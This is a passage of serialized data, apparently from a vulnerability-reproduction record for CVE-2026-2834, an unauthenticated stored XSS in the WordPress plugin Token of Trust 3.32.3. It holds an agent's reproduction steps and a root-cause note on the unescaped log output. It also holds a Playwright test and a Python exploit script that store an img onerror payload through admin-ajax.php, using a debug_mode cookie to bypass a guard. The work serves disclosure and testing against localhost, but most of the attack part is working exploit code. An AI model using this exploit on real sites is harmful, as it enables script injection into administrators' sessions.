OK\n{\"success\":true,\"data\":{\"module\":\"frontend-logger\"}}\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp option get tot_logs --format=json`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n[]\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"function tot_debug_mode\\|get_param_or_cookie\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002F --include=\"*.ph...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FVerification\u002FShared\u002Ftot-request-utils.php:56:\t$cookieValue = Settings::get_param_or_cookie( $cookie );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FVerification\u002FShared\u002Ftot-request-utils.php:78: $paramValue = Settings::get_param_or_cookie( $cookie );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FVerification\u002FShared\u002FDebugger.php:79: if ( ! tot_debug_mode() && ! \\TOT\\Shared\\Settings::get_param_or_cookie( 'debug_mode' ) ) {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FShared\u002FSettings.php:90: $cookie = self::get_param_or_cookie( $key );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FShared\u002FSettings.php:107:\tpublic static function get_param_or_cookie( $key ) {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Flegacy.php:14:function tot_debug_mode() {\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '100,130p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FShared\u002FSettings.php; echo ---; sed -n '10,25p'...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002F** * Strips 'tot_field_' off if present and looks for a query param and cookie of remaining name. * * @param $key * @return object *\u002F public static function get_param_or_cookie( $key ) { $key = self::stripTotFieldKey( $key ); \u002F\u002F tot_log_as_html_comment('TOT - searching via get_query_var for ', $key); $query_var = get_query_var( $key, null ); if ( isset( $query_var ) ) { \u002F\u002F tot_log_as_html_comment('TOT override - found via get_query_var', array( \u002F\u002F $key => $query_var \u002F\u002F )); return $query_var; } $cookieValue = ( $key && isset( $_COOKIE[ $key ] ) ) ? $_COOKIE[ $key ] : null; \u002F\u002F tot_log_as_html_comment('TOT - searching via get_query_var for ', $key); if ( isset( $cookieValue ) ) { \u002F\u002F tot_log_as_html_comment('TOT override - found cookie value', array( \u002F\u002F $key => $cookieValue \u002F\u002F )); return $cookieValue; } return null; } public static function set_set\n```\n\u003C\u002Fdetails>","**HTTP POST:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n**Body:** `action=tot_error_log&description=%3Cimg+src%3Dx+onerror%3Dalert(String.fromCharCode(88%2C83%2C83))%3E&severity=error&module=frontend-logger&error=%7B%7D`\n\u003Cdetails>\u003Csummary>Response\u003C\u002Fsummary>\n\n```\nHTTP 200 OK\n{\"success\":true,\"data\":{\"module\":\"frontend-logger\"}}\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp option get tot_logs --format=json`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n[{\"timestamp\":\"2026-04-17 18:55:48\",\"body\":\"Array\\n(\\n [module] => frontend-logger\\n)\\n\",\"type\":\"error\",\"head\":\" \"},{\"timestamp\":\"2026-04-17 18:55:48\",\"body\":\"Array\\n(\\n)\\n\",\"type\":\"error\",\"head\":\"Token of Trust license key is not set in plugin settings.\"}]\n```\n\u003C\u002Fdetails>","**browser_eval:** {\"script\":\"window._xssFired = false; window.alert = function(msg) { window._xssFired = msg; console.log('XSS FIRED:', msg); }; 'handler installed'\"}","**browser_eval:** {\"script\":\"({fired: window._xssFired, htmlContains: document.body.innerHTML.includes('onerror=alert')})\"}","**browser_eval:** {\"script\":\"var m = document.body.innerHTML.match(\u002F.{0,200}onerror.{0,200}\u002F); m ? m[0] : 'not found'; \"}","Verified plugin installation. Admin logged in, navigated to wp-admin\u002Fplugins.php to confirm Token of Trust 3.32.3 is active. The vulnerable AJAX handler is `wp_ajax_nopriv_tot_error_log` in admin\u002Ferror-log.php which calls Debugger::log($_POST['description'], ...). The description is stored as 'head' in option 'tot_logs' and echoed unescaped in admin\u002Fsettings-page\u002Fview-logs.php: `$notice .= '\u003Ch3>' . $item['head'] . '\u003C\u002Fh3>';`","2026-04-17 18:59:02","6.7","8.3","import { test, expect, request as pwRequest } from '@playwright\u002Ftest';\n\n\u002F**\n * CVE-2026-2834 — Token of Trust \u003C= 3.32.3 Unauthenticated Stored XSS\n *\n * Setup:\n *   - WordPress at http:\u002F\u002Flocalhost:8080\n *   - Plugin \"token-of-trust\" 3.32.3 installed & active\n *   - Admin: admin \u002F admin\n *\n * Run: npx playwright test\n *\u002F\n\nconst TARGET = 'http:\u002F\u002Flocalhost:8080';\n\ntest('CVE-2026-2834: unauthenticated stored XSS via tot_error_log description', async ({ browser }) => {\n  \u002F\u002F 1) Unauthenticated attacker injects payload via admin-ajax.php.\n  \u002F\u002F    Cookie: debug_mode=1 bypasses the Debugger::log() early-return guard.\n  const api = await pwRequest.newContext();\n  const payload = '\u003Cimg src=x onerror=alert(String.fromCharCode(88,83,83))>';\n  const resp = await api.post(`${TARGET}\u002Fwp-admin\u002Fadmin-ajax.php`, {\n    headers: {\n      'Content-Type': 'application\u002Fx-www-form-urlencoded',\n      'Cookie':       'debug_mode=1',\n    },\n    data: new URLSearchParams({\n      action:      'tot_error_log',\n      description: payload,\n      severity:    'error',\n      module:      'frontend-logger',\n      error:       '{}',\n    }).toString(),\n  });\n  expect(resp.status()).toBe(200);\n  const json = await resp.json();\n  expect(json.success).toBe(true);\n\n  \u002F\u002F 2) Victim administrator visits the plugin's Debug Logs page.\n  const adminCtx = await browser.newContext();\n  const adminPage = await adminCtx.newPage();\n\n  \u002F\u002F Capture alert() from the XSS payload\n  let xssFired: string | null = null;\n  adminPage.on('dialog', async (d) => { xssFired = d.message(); await d.dismiss(); });\n\n  \u002F\u002F Log in as admin\n  await adminPage.goto(`${TARGET}\u002Fwp-login.php`);\n  await adminPage.fill('#user_login', 'admin');\n  await adminPage.fill('#user_pass',  'admin');\n  await adminPage.click('#wp-submit');\n  await adminPage.waitForURL(\u002Fwp-admin\u002F);\n\n  \u002F\u002F Visit logs page\n  await adminPage.goto(`${TARGET}\u002Fwp-admin\u002Fadmin.php?page=totsettings_license&tot-logs=1`);\n\n  \u002F\u002F The payload is rendered unescaped — an \u003Cimg onerror> fires alert().\n  const html = await adminPage.content();\n  expect(html).toContain('\u003Cimg src=\"x\" onerror=\"alert(String.fromCharCode(88,83,83))\">');\n\n  \u002F\u002F Wait briefly for the onerror handler\n  await adminPage.waitForTimeout(500);\n  expect(xssFired).toBe('XSS');\n});\n","#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCVE-2026-2834 — Token of Trust \u003C= 3.32.3 Unauthenticated Stored XSS\nRun: python3 exploit.py\n\"\"\"\nimport requests\nfrom urllib.parse import urlencode\n\nTARGET_URL = \"http:\u002F\u002Flocalhost:8080\"\n\npayload = '\u003Cimg src=x onerror=alert(String.fromCharCode(88,83,83))>'\n\nbody = urlencode({\n    \"action\":      \"tot_error_log\",\n    \"description\": payload,     # \u003C-- stored XSS sink\n    \"severity\":    \"error\",\n    \"module\":      \"frontend-logger\",\n    \"error\":       \"{}\",\n})\n\n# The Cookie: debug_mode=1 bypasses Debugger::log() early-return guard.\nr = requests.post(\n    f\"{TARGET_URL}\u002Fwp-admin\u002Fadmin-ajax.php\",\n    data=body,\n    headers={\n        \"Content-Type\": \"application\u002Fx-www-form-urlencoded\",\n        \"Cookie\":       \"debug_mode=1\",\n    },\n    timeout=10,\n)\nprint(\"Status:\", r.status_code)\nprint(\"Body  :\", r.text)\nassert '\"success\":true' in r.text, \"Exploit failed\"\nprint(\"[+] Payload stored in 'tot_logs' option.\")\nprint(\"[+] Triggers when an admin visits:\")\nprint(f\"    {TARGET_URL}\u002Fwp-admin\u002Fadmin.php?page=totsettings_license&tot-logs=1\")\n",{"type":84,"vulnerable_version":85,"fixed_version":11,"vulnerable_browse":86,"vulnerable_zip":87,"fixed_browse":88,"fixed_zip":89,"all_tags":90},"plugin","3.32.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftoken-of-trust\u002Ftags\u002F3.32.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftoken-of-trust.3.32.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftoken-of-trust\u002Ftags\u002F3.32.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftoken-of-trust.3.32.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftoken-of-trust\u002Ftags"]